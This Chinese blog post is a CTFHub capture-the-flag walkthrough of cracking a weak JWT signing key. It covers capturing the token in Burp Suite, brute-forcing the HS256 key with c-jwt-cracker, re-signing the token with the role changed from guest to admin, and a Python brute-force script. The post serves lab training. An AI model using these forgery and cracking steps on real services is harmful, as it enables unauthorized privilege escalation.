ctfhub 技能树 ——JSON Web Token 弱密钥

hcjtn

已于 2022-04-01 17:55:05 修改

阅读量2k

点赞数 1

分类专栏： jwt 文章标签： dba 数据库 mysql

于 2022-04-01 14:29:06 首次发布

本文链接：https://blog.csdn.net/m0_62879498/article/details/123897032

版权

jwt 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

ctfhub 技能树 ——JSON Web Token 弱密钥

如果JWT采用对称加密算法，并且密钥的强度较弱的话，攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag

和 JSON Web Token 无签名一样，我们使用 admin 和 123456 进行登录查看
在这里插入图片描述

发现，和上一关的登录界面相似

我们使用 Burip suite 进行抓包查看

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gkm51apO-1648794117360)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220401134600053.png)]$

本关和上一关不同的是本关不能使用 none算法换句话说我们需要知道签名的密匙，在关卡一开始就提示我们：JWT采用对称加密算法，并且密钥的强度较弱，可以使用爆破获得密匙

在这里我使用的是 c-jwt-cracker（需要在kali上面运行）

构建docker 映像：

docker build . -t jwtcrack

构建docker 映像报错，

可以尝试重启docker：

systemctl restart  docker

在这里插入图片描述

之后 Run on Docker

docker run -it --rm  jwtcrack  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.c2I0PRiJ2fFnZmbK5ynxZzlI1m1pjPMtPsvbbrfveNA

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-34piO31a-1648794117362)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220401135813692.png)]$

获得密匙 eqcv

然后使用JSON Web Tokens - jwt.io（jwt官网）

使用破解的秘钥“eqcv”，进行HS256加密，

记得将 guest 改为 admin

在这里插入图片描述

将我们获得的 base64 编码复制粘贴到Burip suite

转到 rpterer 点击 GO

在这里插入图片描述

获取flag！！！

在这里插入图片描述

在本关还可以使用 python 脚本

#!C:\Python3.7
# -*- coding:utf-8 -*-
import jwt
import string
import itertools
 
 
def test_HS256():
    key = "test"
    encoded = jwt.encode({"some":"payload"},key,algorithm="HS256")
    print(encoded)
 
    try:
        # print(jwt.decode(encoded,"test",algorithms="HS256"))
        print(jwt.decode(encoded, "tes", algorithms="HS256"))
    except Exception as e:
        print(e)
        print("error")
        exit()
 
def brute_HS256(encode):
    keys=string.ascii_lowercase
    # print(keys)
    for i in itertools.product(keys,repeat=4):
        key = "".join(i)
        print("[--]test ",key)
        try:
            print("[****]key:",key,jwt.decode(encode,key,algorithms="HS256"))
            break
        except Exception as e:
            pass
        # print(key)
 
 
if __name__ == '__main__':
    # test_HS256()
    encode="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJwYXNzd29yZCIsInJvbGUiOiJndWVzdCJ9.xCCx-8iRz4HybhQ5iz3zHLniJ5koa7iflMALlaos6ic"
    brute_HS256(encode)
    # print(jwt.encode({'username': 'admin', 'password': 'password', 'role': 'admin'},"hqpf",algorithm="HS256"))